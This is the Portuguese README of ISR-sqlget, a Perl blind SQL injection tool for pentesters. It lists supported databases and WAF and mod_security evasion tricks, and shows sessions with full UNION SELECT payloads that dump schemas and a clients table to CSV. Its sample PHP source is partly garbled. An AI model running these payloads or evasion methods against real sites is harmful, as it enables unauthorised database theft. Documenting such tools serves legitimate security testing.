
ISR-sqlget É uma ferramenta de injeção SQL cega desenvolvida em Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: DESCRIÇÃO
ISR-sqlget: é uma ferramenta de injeção SQL cega desenvolvida em Perl. Permite obter esquemas de bancos de dados e linhas de tabelas. Usando um único GET/POST, você pode acessar discretamente a estrutura do banco de dados e, usando um único GET/POST, pode extrair cada linha de tabela para um arquivo semelhante a CSV.
Bancos de dados suportados:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
Recursos de evasão:
- Codificação Unicode de largura total/meia largura
- Bypass de CR não padrão do Apache
- Bypass do mod_security
- Transformação aleatória de requisição em maiúsculas
- PHP Magicquotes: codifica cada string usando a função CHR do banco de dados ou similar.
- Converte requisições em valores hexadecimais
- Evita a substituição de espaço por /**/ ou tabulação (\t)
- Evita a concatenação sem usar || ou +, utilizando a função concat do banco de dados ou similar.
- User-agent aleatório
- Servidor proxy aleatório
- Atraso aleatório de requisição
Recursos comuns:
- Blacklist de download de esquemas do banco de dados
- Suporte a array de cookies
- Suporte a SSL
- Suporte a servidor proxy
- Informações do banco de dados exportadas em formato CSV
Relatórios:
- Representação gráfica da estrutura do banco de dados para criação de relatórios executivos de impacto
requer a biblioteca Graphviz (http://www.graphviz.org/)
..:: USO
A ferramenta precisa das seguintes informações:
As possíveis AÇÕES são:
Primeiro:
1. Obter o esquema do banco de dados.
Depois:
2.a Obter as linhas das tabelas (formato csv).
2.b Obter o gráfico do esquema do banco de dados.
..::Exemplo:
Alvo: http://target.infobytesec.com/helloworld.php?id=
Código-fonte do helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>Veja o exemplo de sessão (arquivo de configuração): ./helloworld.pm
Obter o esquema do banco de dados:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
Isso gera um arquivo de esquema local em: ./template/helloworld.dbschema
Em seguida, obtenha as linhas das tabelas:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
No diretório "./datos/", você terá dois arquivos por tabela, como segue:
[sessionname].[database].[table].sql.html # html source
[sessionname].[database].[table].csv # commad separated values
Observe que "./datos" pode ser especificado com o parâmetro $conf::outputdb no arquivo de configuração da sessão.
..:: Avançado
A ferramenta usa apenas um tipo de coluna text/varchar/etc na consulta SQL SELECT. Usando sentenças UNION, você pode obter "nessa coluna" todo o esquema do banco de dados usando "[__]" como delimitador.
Quando você já tiver salvo o esquema do banco de dados local, poderá:
1.a Obter as linhas das tabelas: Usando a mesma técnica, você pode obter todas as linhas de todas as tabelas do banco de dados. As colunas com tipos de dados que não são compatíveis com texto são transformadas no tipo de dados texto usando funções próprias do banco de dados.
1.b Obter o gráfico do esquema do banco de dados.
A ferramenta usa um arquivo de configuração de sessão para cada ação. Este arquivo de configuração define os parâmetros necessários para explorar a injeção SQL. O parâmetro @conf::path especifica a forma como o HTML bruto é analisado para trabalhar com a ferramenta.
Detalhes da ajuda:
Uso: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Ação: -c: Verifica o módulo do parser -t: Obtém a página de teste -a: Obtém todos os nomes de bancos de dados (apenas mssql) -s: Obtém a(s) estrutura(s) do(s) banco(s) de dados -d: Obtém a(s) informação(ões) do(s) banco(s) de dados (formato csv) -g: Estrutura gráfica do banco de dados (formato gif)
Opções: -n: Nome da sessão -p: (Use com a ação -c, especifique a página de origem para verificar o módulo); Padrão ./template/$SESSION.testpage -v: Verboso -h: Ajuda
-t: Usando o arquivo de sessão, você obtém uma breve tabela de dados do sistema para ser usada com a ação "-c" para analisar o HTML bruto posteriormente.
-c: Por padrão, use ./template/[session-name].testpage. É usado para desenvolver e testar o parser de HTML bruto. Você pode escolher outro arquivo html usando a opção "-p".
-a: Todos os mecanismos de banco de dados usam a seguinte ordem para obter as linhas das tabelas: 1. "-s" obtém a estrutura (salva o esquema do banco de dados em um arquivo local). 2. "-d" obtém os dados das tabelas.
Devido às tabelas de sistema do MSSQL, precisamos adicionar uma etapa anterior:
1. "-a" obtém todos os nomes de bancos de dados de /schema/catalog (salva os nomes em um arquivo local).
2. "-s" obtém a estrutura (salva o esquema do banco de dados em um arquivo local).
3. "-d" obtém os dados das tabelas.
-s: obtém a estrutura (salva o esquema do banco de dados em um arquivo local).
-d: obtém os dados das tabelas.
-g: Usa o arquivo de esquema do banco de dados local obtido anteriormente para obter o gráfico do esquema do banco de dados (formato gif)
-n: Especifica o nome do arquivo de configuração da sessão.
..:: Notas
./pmschanges.txt: Usamos uma versão modificada do LWP, Net::HTTP que inclui métodos e especificações de CRLs. Este arquivo explica as modificações.
./dbs/isr_*: Cada módulo de banco de dados tem a variável @space que especifica o tipo de espaço válido. Exemplo: my @space=(' ',"\t","/**/"); #todos os espaços